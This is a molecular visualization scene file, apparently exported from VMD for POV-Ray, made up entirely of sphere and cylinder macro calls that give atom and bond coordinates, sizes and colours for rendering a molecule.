VMD_sphere(<-0.0516,-0.2847,0.1167>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.0115,0.2158,0.0189>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.0243,0.3079,0.0441>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.1700,0.0086,0.1345>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.2325,0.0147,0.2075>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.2121,0.0042,-0.0452>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.3083,0.0084,-0.0467>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.0723,-0.2344,-0.1480>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.0851,-0.3265,-0.1730>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.0915,0.1843,-0.1994>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.1123,0.2661,-0.2457>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<-0.1091,-0.0273,-0.2635>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<-0.1717,-0.0334,-0.3364>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_sphere(<0.2730,-0.0229,-0.0839>,0.0668,rgbt<0.250,0.750,0.750,0.000>)
VMD_sphere(<0.3692,-0.0271,-0.0822>,0.0393,rgbt<1.000,1.000,1.000,0.000>)
VMD_cylinder(<-0.49984270,0.03491068,0.32651949>,<-0.49857426,0.06249088,0.32313892>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.49984270,0.03491068,0.32651949>,<-0.57717150,0.05949765,0.38366130>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.19837302,-0.24002129,0.04437849>,<-0.23672718,-0.19623739,0.01997069>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.19837302,-0.24002129,0.04437849>,<-0.18041646,-0.19159693,0.02141809>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.19837302,-0.24002129,0.04437849>,<-0.11454612,-0.22144860,0.05732077>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.19837302,-0.24002129,0.04437849>,<-0.12498838,-0.26234037,0.08054858>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.06942570,0.09665596,0.58613056>,<0.06815720,0.06907564,0.58951116>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.06942570,0.09665596,0.58613056>,<0.07302940,0.09461772,0.68528861>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.12003577,0.26406282,0.12184685>,<0.12062681,0.20996571,0.10548562>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.12003577,0.26406282,0.12184685>,<0.05428660,0.23993844,0.07039505>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.12003577,0.26406282,0.12184685>,<0.04784310,0.28599471,0.08296546>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.12003577,0.26406282,0.12184685>,<0.15838993,0.22027880,0.14625469>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.20438302,-0.24431992,0.50616872>,<-0.22955531,-0.24461240,0.49433738>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.20438302,-0.24431992,0.50616872>,<-0.25590283,-0.27822396,0.58392262>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.18185925,-0.14714450,0.21033174>,<0.13943458,-0.19186682,0.19677228>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.18185925,-0.14714450,0.21033174>,<0.14473403,-0.14358968,0.16786283>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.18185925,-0.14714450,0.21033174>,<0.20718718,-0.06622297,0.20893970>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.22616905,0.37604064,0.40639544>,<-0.20099682,0.37633306,0.41822672>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.22616905,0.37604064,0.40639544>,<-0.24837434,0.43249351,0.48494130>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.26019651,0.17118603,-0.04410636>,<-0.20452356,0.16195834,-0.04095909>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.26019651,0.17118603,-0.04410636>,<-0.23614371,0.08767903,-0.04463238>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.26019651,0.17118603,-0.04410636>,<-0.28426486,0.08980024,-0.04538268>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.26019651,0.17118603,-0.04410636>,<-0.21777183,0.21590823,-0.03054690>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.55816829,-0.10876179,-0.44863737>,<0.55943668,-0.08118159,-0.45201796>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.23628342,-0.27918583,-0.11205149>,<0.22300184,-0.22522569,-0.10156885>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23628342,-0.27918583,-0.11205149>,<0.15427005,-0.25677842,-0.13005036>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23628342,-0.27918583,-0.11205149>,<0.16068017,-0.30282447,-0.14255029>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23628342,-0.27918583,-0.11205149>,<0.27870810,-0.23446345,-0.09849209>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.00602627,-0.06018603,-0.72177070>,<-0.00729477,-0.08776635,-0.71839017>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.03607357,0.21803415,-0.31225187>,<-0.07849836,0.17331159,-0.32581127>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.03607357,0.21803415,-0.31225187>,<0.03812873,0.24207860,-0.27896780>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.03607357,0.21803415,-0.31225187>,<0.02771974,0.20117658,-0.25581044>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23655200,-0.39516211,-0.55902296>,<0.26172423,-0.39486963,-0.54719168>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.13580787,-0.19505018,-0.29970151>,<-0.09745371,-0.23883402,-0.27529365>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.13580787,-0.19505018,-0.29970151>,<-0.09807789,-0.18472689,-0.25886196>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.13580787,-0.19505018,-0.29970151>,<-0.12246138,-0.11118662,-0.28158611>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.13580787,-0.19505018,-0.29970151>,<-0.15373015,-0.11421973,-0.31806415>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.31545508,0.22636831,-0.61147100>,<0.29028273,0.22607589,-0.62330234>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.33601749,0.13389850,-0.12460184>,<0.27967358,0.12926823,-0.12597880>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.33601749,0.13389850,-0.12460184>,<0.30451870,0.05550778,-0.10423175>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.33601749,0.13389850,-0.12460184>,<0.35260665,0.05339670,-0.10341096>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.33601749,0.13389850,-0.12460184>,<0.29766333,0.17768216,-0.14900964>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.56070518,-0.05360126,-0.45539850>,<0.55943668,-0.08118159,-0.45201796>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.25930917,0.22146618,-0.17341751>,<0.17541122,0.20289260,-0.18639326>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.25930917,0.22146618,-0.17341751>,<0.18582022,0.24379462,-0.20955056>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.25930917,0.22146618,-0.17341751>,<0.29766333,0.17768216,-0.14900964>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.00856316,-0.11534655,-0.71500963>,<-0.00729477,-0.08776635,-0.71839017>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.05909956,-0.28261787,-0.25088590>,<-0.09745371,-0.23883402,-0.27529365>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05909956,-0.28261787,-0.25088590>,<-0.05972385,-0.22851062,-0.23445415>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05909956,-0.28261787,-0.25088590>,<0.00657856,-0.25849444,-0.19946754>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05909956,-0.28261787,-0.25088590>,<0.01298869,-0.30454049,-0.21196747>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.26511049,0.22578347,-0.63513362>,<0.29028273,0.22607589,-0.62330234>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.12092304,0.12858939,-0.33937073>,<-0.08383095,0.12504464,-0.29683131>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.12092304,0.12858939,-0.33937073>,<-0.11501902,0.05063319,-0.30142069>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.12092304,0.12858939,-0.33937073>,<-0.14628780,0.04760009,-0.33789873>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.12092304,0.12858939,-0.33937073>,<-0.07849836,0.17331159,-0.32581127>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.28689659,-0.39457715,-0.53536034>,<0.26172423,-0.39486963,-0.54719168>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.32113278,-0.18974108,-0.08493263>,<0.27870810,-0.23446345,-0.09849209>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.32113278,-0.18974108,-0.08493263>,<0.26542664,-0.18050337,-0.08800942>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.32113278,-0.18974108,-0.08493263>,<0.34516430,-0.10842311,-0.08357635>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.32113278,-0.18974108,-0.08493263>,<0.29707634,-0.10631204,-0.08439714>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.49730581,0.09007120,0.31975836>,<-0.49857426,0.06249088,0.32313892>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.49730581,0.09007120,0.31975836>,<-0.57590306,0.08707786,0.38028073>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.17534709,0.26063079,-0.01698750>,<-0.21777183,0.21590823,-0.03054690>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17534709,0.26063079,-0.01698750>,<-0.16209888,0.20668077,-0.02739969>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17534709,0.26063079,-0.01698750>,<-0.09984839,0.28427869,0.01354828>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17534709,0.26063079,-0.01698750>,<-0.09340489,0.23822242,0.00097787>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.06688881,0.04149544,0.59289169>,<0.06815720,0.06907564,0.58951116>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.06688881,0.04149544,0.59289169>,<0.07176089,0.06703752,0.68866915>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.09700990,-0.23658925,0.18321288>,<0.10230935,-0.18831199,0.15430340>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.09700990,-0.23658925,0.18321288>,<0.03314531,-0.21973258,0.12673795>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.09700990,-0.23658925,0.18321288>,<0.02270305,-0.26062435,0.14996576>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.09700990,-0.23658925,0.18321288>,<0.13943458,-0.19186682,0.19677228>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17582452,0.37662548,0.43005806>,<-0.20099682,0.37633306,0.41822672>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.17582452,0.37662548,0.43005806>,<-0.22320217,0.43278605,0.49677259>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<0.19674408,0.17649513,0.17066252>,<0.15898097,0.16618192,0.12989345>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.19674408,0.17649513,0.17066252>,<0.18339407,0.09255362,0.15255657>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.19674408,0.17649513,0.17066252>,<0.21462953,0.09559685,0.18910509>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.19674408,0.17649513,0.17066252>,<0.15838993,0.22027880,0.14625469>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.25472754,-0.24490488,0.48250610>,<-0.22955531,-0.24461240,0.49433738>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.25472754,-0.24490488,0.48250610>,<-0.28107500,-0.27851638,0.57209134>0.0118,rgbt<1.000,0.000,0.000,0.000>,1)
VMD_cylinder(<-0.27508134,-0.15245360,-0.00443715>,<-0.23672718,-0.19623739,0.01997069>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.27508134,-0.15245360,-0.00443715>,<-0.21877050,-0.14781320,-0.00298971>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.27508134,-0.15245360,-0.00443715>,<-0.24358606,-0.07414079,-0.02479777>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.27508134,-0.15245360,-0.00443715>,<-0.29170722,-0.07201958,-0.02554810>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<0.02617204,-0.06159639,0.12122434>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<-0.04299188,-0.09301698,0.09365889>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<-0.10205770,0.08478647,0.03962147>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<-0.13367778,0.01050711,0.03594819>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<0.03297663,0.08635539,0.10308957>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<-0.03336370,0.11632818,0.06799901>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.05526471,0.01684219,0.11705476>,<0.05738962,0.01272714,0.12575272>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.16288602,-0.10341018,-0.16861385>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.09415424,-0.13496292,-0.19709533>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.03465641,0.04297268,-0.25021672>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.00346828,-0.03143883,-0.25480610>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.16969061,0.04454160,-0.18674862>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.10378242,0.07438225,-0.22275525>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<0.11605155,-0.03555471,-0.24614149>,<0.19453573,-0.02921879,-0.16500157>0.0118,rgbt<0.000,0.000,1.000,0.000>,1)
VMD_cylinder(<-0.65450037,0.08408463,0.44080308>,<-0.76123357,0.08284450,0.39063689>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.65450037,0.08408463,0.44080308>,<-0.57717150,0.05949765,0.38366130>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.65450037,0.08408463,0.44080308>,<-0.57590306,0.08707786,0.38028073>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.86796683,0.08160442,0.34047067>,<-0.87889016,0.06912059,0.23452297>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.86796683,0.08160442,0.34047067>,<-0.76123357,0.08284450,0.39063689>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07663298,0.09257960,0.78444666>,<0.07302940,0.09461772,0.68528861>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07663298,0.09257960,0.78444666>,<0.07176089,0.06703752,0.68866915>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.07663298,0.09257960,0.78444666>,<0.18329501,0.09381890,0.83457941>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.28995717,0.09505814,0.88471222>,<0.18329501,0.09381890,0.83457941>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.28995717,0.09505814,0.88471222>,<0.37879848,0.08373350,0.82565534>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.30742264,-0.31212801,0.66167665>,<-0.31280106,-0.42907143,0.67601061>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.30742264,-0.31212801,0.66167665>,<-0.25590283,-0.27822396,0.58392262>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.30742264,-0.31212801,0.66167665>,<-0.28107500,-0.27851638,0.57209134>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.31817949,-0.54601490,0.69034463>,<-0.28176790,-0.61253476,0.61451995>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.31817949,-0.54601490,0.69034463>,<-0.31280106,-0.42907143,0.67601061>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.27057970,0.48894626,0.56348717>,<-0.24837434,0.43249351,0.48494130>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.27057970,0.48894626,0.56348717>,<-0.22320217,0.43278605,0.49677259>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.27057970,0.48894626,0.56348717>,<-0.26520485,0.60581177,0.54916275>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.25983000,0.72267729,0.53483826>,<-0.26520485,0.60581177,0.54916275>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.25983000,0.72267729,0.53483826>,<-0.21839112,0.76546568,0.44561541>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.40677732,-0.09109932,-0.89547759>,<-0.40097308,-0.08239990,-0.82232624>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.39516884,-0.07370061,-0.74917513>,<-0.40097308,-0.08239990,-0.82232624>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.95067608,-0.07532722,-0.25745428>,<0.89049208,-0.06739455,-0.21531844>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.83030784,-0.05946195,-0.17318279>,<0.89049208,-0.06739455,-0.21531844>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.23767984,-0.82679057,-0.48535758>,<0.21215260,-0.78232419,-0.43214500>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.18662524,-0.73785776,-0.37893265>,<0.21215260,-0.78232419,-0.43214500>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.30608392,0.66051823,-0.66766030>,<0.27723134,0.63268369,-0.60558563>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.24837887,0.60484916,-0.54351115>,<0.27723134,0.63268369,-0.60558563>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<0.46763992,0.07240880,0.76659858>,<0.37879848,0.08373350,0.82565534>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.46763992,0.07240880,0.76659858>,<0.46183562,0.06370944,0.69344735>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.45603132,0.05501008,0.62029606>,<0.46183562,0.06370944,0.69344735>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.88981348,0.05663669,0.12857525>,<-0.87889016,0.06912059,0.23452297>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.88981348,0.05663669,0.12857525>,<-0.82962942,0.04870409,0.08643952>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.76944542,0.04077142,0.04430377>,<-0.82962942,0.04870409,0.08643952>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.24535632,-0.67905456,0.53869528>,<-0.28176790,-0.61253476,0.61451995>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.24535632,-0.67905456,0.53869528>,<-0.21650386,-0.65122014,0.47662076>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.18765134,-0.62338573,0.41454622>,<-0.21650386,-0.65122014,0.47662076>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.17695224,0.80825430,0.35639256>,<-0.21839112,0.76546568,0.44561541>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.17695224,0.80825430,0.35639256>,<-0.15142500,0.76378769,0.30318016>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.12589771,0.71932119,0.24996769>,<-0.15142500,0.76378769,0.30318016>0.0118,rgbt<1.000,1.000,1.000,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.18041646,-0.19159693,0.02141809>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.21877050,-0.14781320,-0.00298971>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.02742565,-0.14160383,0.06192583>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.09658945,-0.17302436,0.03436044>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.10703170,-0.21391612,0.05758822>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.15565526,0.00477898,-0.01967704>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.18727535,-0.06950033,-0.02335030>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.16245985,-0.14317280,-0.00154227>,<-0.23539650,-0.06737918,-0.02410060>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.11441326,0.00791687,0.10725921>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<-0.01381648,0.15429968,0.02565628>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.03297663,0.08635539,0.10308957>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.05487764,0.18584150,0.05403388>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.14563096,0.08224040,0.11178756>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.15898097,0.16618192,0.12989345>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.17686641,0.08528358,0.14833605>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.12121785,0.15586871,0.08912444>,<0.12062681,0.20996571,0.10548562>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<-0.02742565,-0.14160383,0.06192583>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.10230935,-0.18831199,0.15430340>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.03844488,-0.17145544,0.09782854>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.02800250,-0.21234721,0.12105632>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.14473403,-0.14358968,0.16786283>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.02617204,-0.06159639,0.12122434>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.11441326,0.00791687,0.10725921>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.10760868,-0.14003491,0.12539399>,<0.13882637,-0.06571138,0.12992233>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.15565526,0.00477898,-0.01967704>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.20452356,0.16195834,-0.04095909>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.18047076,0.07845145,-0.04148507>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.22859192,0.08057261,-0.04223537>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.10205770,0.08478647,0.03962147>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.01381648,0.15429968,0.02565628>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.08015668,0.18427259,-0.00943422>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<-0.14885068,0.15273076,-0.03781182>,<-0.16209888,0.20668077,-0.02739969>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.08950067,-0.18707085,-0.01041159>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.07468617,-0.17283458,-0.15455443>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.22300184,-0.22522569,-0.10156885>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
VMD_cylinder(<0.20972049,-0.17126566,-0.09108627>,<0.14098859,-0.20281833,-0.11956772>0.0118,rgbt<0.250,0.750,0.750,0.000>,1)
